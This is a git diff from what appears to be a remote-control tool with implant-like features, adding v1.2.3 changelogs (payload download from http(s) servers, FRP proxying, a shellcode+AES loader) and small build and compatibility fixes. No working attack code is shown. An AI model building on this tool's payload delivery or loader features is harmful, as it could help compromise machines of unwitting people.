diff --git a/ReadMe.md b/ReadMe.md
index c8eaade..b52aa0c 100644
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -203,6 +203,31 @@ for /R %F in (*.cpp *.h *.c) do astyle --style=linux "%F"
更早的变更记录参看:[history](./history.md)
+**发布 v1.2.3(2026.1.21):**
+
+本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。
+
+- 新功能:支持从 http(s) 服务器下载 payload
+- 新功能:重构 ClientList 并添加对话框显示
+- 新功能:支持在屏幕控制中使用远程光标
+- 改进:使用 FRP 代理 payload 下载请求
+- 改进:`GetForegroundSelectedFiles` 后执行 `ExpandDirectories`
+- 改进:更改某些对话框的 zstd 压缩选项
+- 改进:更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文
+- 改进:为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端
+- 改进:添加远程桌面工具栏的更多功能/按钮
+- 改进:改进远程控制 `ScreenSpyDlg` 重连逻辑
+- 改进:显示系统对话框中所有窗口状态
+- 改进:为 EXE 类型客户端添加更新逻辑
+- 修复:`GetPort` 导致不显示主机离线日志的问题
+- 修复:commit 2fb77d5 导致的 OnOnlineUpdate 问题
+- 修复:`GetProcessList` 无法获取某些进程完整路径的问题
+- 修复:时间检查以使重新分配的客户端立即恢复
+- 修复:#288 命令行问题
+- 修复:安装时复制 payload 文件到目标目录的问题
+- 修复:#281 检查 CPU 是否支持 SSE2 以避免客户端崩溃
+- 修复:远程桌面窗口恢复大小问题
+
**发布 v1.2.2(2026.1.11):**
本版本主要增强远程桌面设置持久化、文件管理功能,并改进授权和键盘转发。
diff --git a/ReadMe_EN.md b/ReadMe_EN.md
index 0c337cb..17c15f6 100644
--- a/ReadMe_EN.md
+++ b/ReadMe_EN.md
@@ -206,6 +206,31 @@ For cross-network, cross-border, or international remote control system deployme
For earlier changes, see: [history](./history.md)
+**Release v1.2.3 (2026.1.21):**
+
+This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues.
+
+- Feature: Support download payload from http(s) server
+- Feature: Refactor ClientList and add dialog to show it
+- Feature: Support using remote cursor in screen control
+- Improve: Use FRP to proxy payload download request
+- Improve: `ExpandDirectories` after `GetForegroundSelectedFiles`
+- Improve: Change zstd compression options for some dialog
+- Improve: Update zlib to version `1.3.1.2` and use context in decompression
+- Improve: Use old shellcode+AES loader to build client for Windows Server
+- Improve: Add more features/buttons for remote desktop toolbar
+- Improve: Improve remote control `ScreenSpyDlg` reconnect logic
+- Improve: Show all windows status in system dialog
+- Improve: Add client update logic for client type EXE
+- Fix: `GetPort` issue causing not show host offline log
+- Fix: OnOnlineUpdate caused by commit 2fb77d5
+- Fix: `GetProcessList` can't get some process full path
+- Fix: Check time to make reassigned client restore immediately
+- Fix: #288 Command line issues
+- Fix: Copy payload file to target directory when installing
+- Fix: #281 Check if CPU has SSE2 to avoid client crash
+- Fix: Remote desktop window restore size issue
+
**Release v1.2.2 (2026.1.11):**
This release enhances remote desktop settings persistence, file management features, and improves authorization and keyboard forwarding.
diff --git a/Releases/v1.2.2/Yama.exe b/Releases/v1.2.3/Yama.exe
similarity index 73%
rename from Releases/v1.2.2/Yama.exe
rename to Releases/v1.2.3/Yama.exe
index 95f6fee..e2831e7 100644
Binary files a/Releases/v1.2.2/Yama.exe and b/Releases/v1.2.3/Yama.exe differ
diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 127e788..410e3fb 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -138,7 +138,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
zlib\zlib.lib;%(AdditionalDependencies)
@@ -159,7 +159,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
zlib\zlib_x64.lib;%(AdditionalDependencies)
diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp
index 773a519..96214b4 100644
--- a/client/ScreenManager.cpp
+++ b/client/ScreenManager.cpp
@@ -16,7 +16,7 @@
#include "ScreenSpy.h"
#include "ScreenCapturerDXGI.h"
#include
-#include
+#include
#include "common/file_upload.h"
#include
#include "ClientDll.h"
diff --git a/client/Script.rc b/client/Script.rc
index daf821b..15adf5d 100644
--- a/client/Script.rc
+++ b/client/Script.rc
@@ -7,7 +7,7 @@
//
// Generated from the TEXTINCLUDE 2 resource.
//
-#include "afxres.h"
+#include
/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS
@@ -88,7 +88,7 @@ IDR_WAVE WAVE "Res\\msg.wav"
//
VS_VERSION_INFO VERSIONINFO
- FILEVERSION 1,0,2,2
+ FILEVERSION 1,0,2,3
PRODUCTVERSION 1,0,0,1
FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
@@ -106,7 +106,7 @@ BEGIN
BEGIN
VALUE "CompanyName", "FUCK THE UNIVERSE"
VALUE "FileDescription", "A GHOST"
- VALUE "FileVersion", "1.0.2.2"
+ VALUE "FileVersion", "1.0.2.3"
VALUE "InternalName", "ServerDll.dll"
VALUE "LegalCopyright", "Copyright (C) 2019-2026"
VALUE "OriginalFilename", "ServerDll.dll"
diff --git a/client/ShellcodeInj.h b/client/ShellcodeInj.h
index 4fae851..8ef9226 100644
--- a/client/ShellcodeInj.h
+++ b/client/ShellcodeInj.h
@@ -5,6 +5,10 @@
#include
#include
+#ifndef IMAGE_FILE_MACHINE_ARM64
+#define IMAGE_FILE_MACHINE_ARM64 0xAA64
+#endif
+
DWORD HashFunctionName(LPSTR name);
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
diff --git a/client/TestRun.rc b/client/TestRun.rc
index b02ed2c..daa27a4 100644
Binary files a/client/TestRun.rc and b/client/TestRun.rc differ
diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj
index 78b8072..a41d368 100644
--- a/client/TestRun_vs2015.vcxproj
+++ b/client/TestRun_vs2015.vcxproj
@@ -134,7 +134,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
Windows
@@ -155,7 +155,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
Windows
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 02196dd..81972c0 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -144,7 +144,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
zlib\zlib.lib;%(AdditionalDependencies)
@@ -167,7 +167,7 @@
4018;4244;4267;4819;4838
- true
+ false
true
true
zlib\zlib_x64.lib;%(AdditionalDependencies)
diff --git a/common/mask.h b/common/mask.h
index c1b85b7..cef8f9a 100644
--- a/common/mask.h
+++ b/common/mask.h
@@ -2,6 +2,13 @@
#include "header.h"
+#ifndef IMAGE_FILE_MACHINE_ARM64
+#define IMAGE_FILE_MACHINE_ARM64 0xAA64
+#endif
+#ifndef PROCESSOR_ARCHITECTURE_ARM64
+#define PROCESSOR_ARCHITECTURE_ARM64 12
+#endif
+
// 数据包协议封装格式
// Copy left: 962914132@qq.com & ChatGPT
enum PkgMaskType {
diff --git a/history.md b/history.md
index e0e8c2f..1c4bfb2 100644
--- a/history.md
+++ b/history.md
@@ -556,6 +556,34 @@ Release v1.1.4
* 功能: 文件管理对话框支持压缩文件
* 改进: 添加 F10、WM_SYSKEYDOWN、WM_SYSKEYUP 的转发
+
+**2026.01.21**
+
+发布版本 v1.2.3:
+
+本版本主要增强远程桌面控制体验,优化客户端更新逻辑,并修复多项稳定性问题。
+
+* 功能: 支持从 http(s) 服务器下载 payload
+* 功能: 重构 ClientList 并添加对话框显示
+* 功能: 支持在屏幕控制中使用远程光标
+* 改进: 使用 FRP 代理 payload 下载请求
+* 改进: `GetForegroundSelectedFiles` 后执行 `ExpandDirectories`
+* 改进: 更改某些对话框的 zstd 压缩选项
+* 改进: 更新 zlib 到 `1.3.1.2` 版本并在解压缩中使用上下文
+* 改进: 为 Windows Server 使用旧的 shellcode+AES 加载器构建客户端
+* 改进: 添加远程桌面工具栏的更多功能/按钮
+* 改进: 改进远程控制 `ScreenSpyDlg` 重连逻辑
+* 改进: 显示系统对话框中所有窗口状态
+* 改进: 为 EXE 类型客户端添加更新逻辑
+* 修复: `GetPort` 导致不显示主机离线日志的问题
+* 修复: commit 2fb77d5 导致的 OnOnlineUpdate 问题
+* 修复: `GetProcessList` 无法获取某些进程完整路径的问题
+* 修复: 时间检查以使重新分配的客户端立即恢复
+* 修复: #288 命令行问题
+* 修复: 安装时复制 payload 文件到目标目录的问题
+* 修复: #281 检查 CPU 是否支持 SSE2 以避免客户端崩溃
+* 修复: 远程桌面窗口恢复大小问题
+
---
[English, since 2025]
@@ -875,3 +903,30 @@ This release enhances remote desktop settings persistence, file management featu
* Improve: Showing file transmit progress dialog
* Feature: Support compress files in file management dialog
* Improve: Add F10, WM_SYSKEYDOWN, WM_SYSKEYUP to forward
+
+**2026.01.21**
+
+Release v1.2.3
+
+This release enhances remote desktop control experience, optimizes client update logic, and fixes several stability issues.
+
+* Feature: Support download payload from http(s) server
+* Feature: Refactor ClientList and add dialog to show it
+* Feature: Support using remote cursor in screen control
+* Improve: Use FRP to proxy payload download request
+* Improve: `ExpandDirectories` after `GetForegroundSelectedFiles`
+* Improve: Change zstd compression options for some dialog
+* Improve: Update zlib to version `1.3.1.2` and use context in decompression
+* Improve: Use old shellcode+AES loader to build client for Windows Server
+* Improve: Add more features/buttons for remote desktop toolbar
+* Improve: Improve remote control `ScreenSpyDlg` reconnect logic
+* Improve: Show all windows status in system dialog
+* Improve: Add client update logic for client type EXE
+* Fix: `GetPort` issue causing not show host offline log
+* Fix: OnOnlineUpdate caused by commit 2fb77d5
+* Fix: `GetProcessList` can't get some process full path
+* Fix: Check time to make reassigned client restore immediately
+* Fix: #288 Command line issues
+* Fix: Copy payload file to target directory when installing
+* Fix: #281 Check if CPU has SSE2 to avoid client crash
+* Fix: Remote desktop window restore size issue
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index a54fa27..06aeef2 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/IOCPKCPServer.h b/server/2015Remote/IOCPKCPServer.h
index 2a8b559..db74d15 100644
--- a/server/2015Remote/IOCPKCPServer.h
+++ b/server/2015Remote/IOCPKCPServer.h
@@ -29,7 +29,12 @@ public:
virtual std::string GetPeerName() const override
{
char client_ip[INET_ADDRSTRLEN];
+#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
+ strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
+ client_ip[INET_ADDRSTRLEN - 1] = '\0';
+#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
+#endif
return client_ip;
}
virtual int GetPort() const override
diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h
index 4f312ba..db0e3d7 100644
--- a/server/2015Remote/Server.h
+++ b/server/2015Remote/Server.h
@@ -731,7 +731,12 @@ public:
virtual std::string GetPeerName() const override
{
char client_ip[INET_ADDRSTRLEN];
+#if (defined(_WIN32_WINNT) && _WIN32_WINNT <= 0x0501)
+ strncpy(client_ip, inet_ntoa(clientAddr.sin_addr), INET_ADDRSTRLEN - 1);
+ client_ip[INET_ADDRSTRLEN - 1] = '\0';
+#else
inet_ntop(AF_INET, &clientAddr.sin_addr, client_ip, INET_ADDRSTRLEN);
+#endif
return client_ip;
}
virtual int GetPort() const override
diff --git a/server/2015Remote/pwd_gen.cpp b/server/2015Remote/pwd_gen.cpp
index b7ac148..41983b1 100644
--- a/server/2015Remote/pwd_gen.cpp
+++ b/server/2015Remote/pwd_gen.cpp
@@ -17,6 +17,7 @@
#include
#include
#include "common/commands.h"
+#include
#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "bcrypt.lib")
@@ -85,8 +86,8 @@ std::string execCommand(const char* cmd)
SAFE_CLOSE_HANDLE(pi.hThread);
// 去除换行符和空格
- result.erase(remove(result.begin(), result.end(), '\n'), result.end());
- result.erase(remove(result.begin(), result.end(), '\r'), result.end());
+ result.erase(std::remove(result.begin(), result.end(), '\n'), result.end());
+ result.erase(std::remove(result.begin(), result.end(), '\r'), result.end());
// 返回命令的输出结果
return result.empty() ? "ERROR" : result;
diff --git a/server/执行代码/执行代码.vcxproj b/server/执行代码/执行代码.vcxproj
index 5072176..e7e8d58 100644
--- a/server/执行代码/执行代码.vcxproj
+++ b/server/执行代码/执行代码.vcxproj
@@ -81,7 +81,7 @@
Console
true
true
- true
+ false
$(SolutionDir)Bin\Plugins\$(TargetName)$(TargetExt)